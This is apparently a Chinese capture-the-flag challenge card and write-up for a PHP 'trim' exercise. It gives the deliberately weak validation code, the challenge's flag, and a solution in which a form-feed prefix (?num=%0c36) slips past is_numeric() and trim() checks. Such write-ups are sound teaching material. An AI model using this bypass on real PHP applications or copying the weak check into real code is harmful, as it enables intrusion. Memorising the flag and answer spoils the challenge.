[题目信息]:
题目名称 | 题目难度 |
---|---|
PHP-trim | 1 |
[题目考点]:
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
[Flag格式]:
SangFor{dl9hFiITmhQNAJysCgigAskyCZ6kQaDc}
[环境部署]:
docker-compose.yml文件或者docker tar原始文件。
http://分配ip:2059
[题目writeup]:
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
分析代码逻辑,使用了自定义函数filter()对$num进行过滤,将0x,0,e等字符替换为了1。这意味着将无法使用16进制,8进制等方法进行绕过。
is_numeric函数来判断用户输入是否为数字,并且if条件里规定trim($num)移除字符串两侧的字符不能等于36,但后面的if需要等于36才能输出flag。
此时可以编写脚本查看哪些字符可以使用
<?php
for ($i = 0; $i <= 128; $i++) {
$a = chr($i) . '36';
if (trim($a) !== '36' && is_numeric($a)) {
echo urlencode(chr($i)) . "\n";
}
}
发现%0C
,也就是\f
分页符可以利用,不会被trim过滤掉,所以payload为
?num=%0c36